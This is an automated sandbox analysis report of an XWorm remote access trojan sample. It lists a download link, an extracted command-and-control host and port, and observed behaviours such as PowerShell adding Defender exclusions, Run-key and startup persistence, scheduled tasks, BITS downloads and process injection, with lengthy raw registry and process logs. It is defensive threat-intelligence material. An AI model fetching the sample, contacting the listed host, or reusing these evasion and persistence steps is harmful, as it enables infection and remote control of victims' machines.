xworm | hxxps://gofile[.]io/d/TLyqC3

Analysis

max time kernel
110s
max time network
122s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
09-06-2024 09:42

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://gofile.io/d/TLyqC3

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:44454

Name1442-44454.portmap.host:44454

Attributes

Install_directory
%Temp%
install_file
LX.exe

Signatures

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\LXDeveloper.exe	family_xworm
behavioral2/memory/4676-261-0x0000000000360000-0x000000000039E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

15 4668 powershell.exe
25 5944 powershell.exe

flow	pid	process
15	4668	powershell.exe
25	5944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1808	powershell.exe
2112	powershell.exe
4696	powershell.exe
4228	powershell.exe
3008	powershell.exe
4668	powershell.exe
2396	powershell.exe
1528	powershell.exe
5944	powershell.exe
3564	powershell.exe

Drops startup file 2 IoCs

Processes:

LXDeveloper.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LX.lnk	LXDeveloper.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LX.lnk	LXDeveloper.exe

Executes dropped EXE 3 IoCs

Processes:

LXDeveloper.exeLX.exeLX.exe

pid process

4676 LXDeveloper.exe
2376 LX.exe
5708 LX.exe

pid	process
4676	LXDeveloper.exe
2376	LX.exe
5708	LX.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

LXDeveloper.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\LX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\LX.exe"	LXDeveloper.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 ip-api.com

flow	ioc
8	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\LX	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$phantom-RuntimeBroker_startup_903_str	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

LXDeveloper.exe

description pid process target process

PID 4676 set thread context of 5920 4676 LXDeveloper.exe cvtres.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1896 schtasks.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

5072 bitsadmin.exe

description	pid	process	target process
PID 4676 set thread context of 5920	4676	LXDeveloper.exe	cvtres.exe

pid	process
1896	schtasks.exe

pid	process
5072	bitsadmin.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

Processes:

Explorer.EXEexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE

Modifies data under HKEY_USERS 3 IoCs

Processes:

chrome.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133623997371431449"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 64 IoCs

Processes:

Explorer.EXEexplorer.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f80cb859f6720028040b29b5540cc05aab60000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupView = "4294967295"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616193"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:FMTID = "{30C8EEF4-A832-41E2-AB32-E3C3CA28FD29}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:PID = "2"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Sort = 0000000000000000000000000000000002000000f4eec83032a8e241ab32e3c3ca28fd29030000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Mode = "6"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	explorer.exe
Key created	\Registry\User\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\NotificationData	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\IconSize = "48"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\LogicalViewMode = "2"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\NodeSlot = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 3a002e8005398e082303024b98265d99428e115f260001002600efbe110000004fe64bd547a1da01f24d4a5751bada0130cbe96e51bada0114000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "3"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616209"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"	Explorer.EXE

NTFS ADS 3 IoCs

Processes:

chrome.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\LXStander.bat:Zone.Identifier	chrome.exe
File created	C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.bat\:Zone.Identifier:$DATA	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.bat\:Zone.Identifier:$DATA	powershell.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

LXDeveloper.exeExplorer.EXEexplorer.exe

pid process

4676 LXDeveloper.exe
3316 Explorer.EXE
4872 explorer.exe

pid	process
4676	LXDeveloper.exe
3316	Explorer.EXE
4872	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exepowershell.exepowershell.exepowershell.exe

pid	process
4924	chrome.exe
4924	chrome.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

Explorer.EXEexplorer.exe

pid process

3316 Explorer.EXE
4872 explorer.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

chrome.exe

pid process

4924 chrome.exe
4924 chrome.exe
4924 chrome.exe
4924 chrome.exe

pid	process
3316	Explorer.EXE
4872	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeShutdownPrivilege	4924	chrome.exe
Token: SeCreatePagefilePrivilege	4924	chrome.exe
Token: SeIncreaseQuotaPrivilege	3008	powershell.exe
Token: SeSecurityPrivilege	3008	powershell.exe
Token: SeTakeOwnershipPrivilege	3008	powershell.exe
Token: SeLoadDriverPrivilege	3008	powershell.exe
Token: SeSystemProfilePrivilege	3008	powershell.exe
Token: SeSystemtimePrivilege	3008	powershell.exe
Token: SeProfSingleProcessPrivilege	3008	powershell.exe
Token: SeIncBasePriorityPrivilege	3008	powershell.exe
Token: SeCreatePagefilePrivilege	3008	powershell.exe
Token: SeBackupPrivilege	3008	powershell.exe
Token: SeRestorePrivilege	3008	powershell.exe
Token: SeShutdownPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeSystemEnvironmentPrivilege	3008	powershell.exe
Token: SeRemoteShutdownPrivilege	3008	powershell.exe
Token: SeUndockPrivilege	3008	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

Processes:

chrome.exe

pid	process
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

chrome.exe

pid	process
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe
4924	chrome.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

LXDeveloper.exeExplorer.EXEexplorer.exe

pid process

4676 LXDeveloper.exe
3316 Explorer.EXE
3316 Explorer.EXE
4872 explorer.exe
4872 explorer.exe

pid	process
4676	LXDeveloper.exe
3316	Explorer.EXE
3316	Explorer.EXE
4872	explorer.exe
4872	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4924 wrote to memory of 4596	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 4596	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
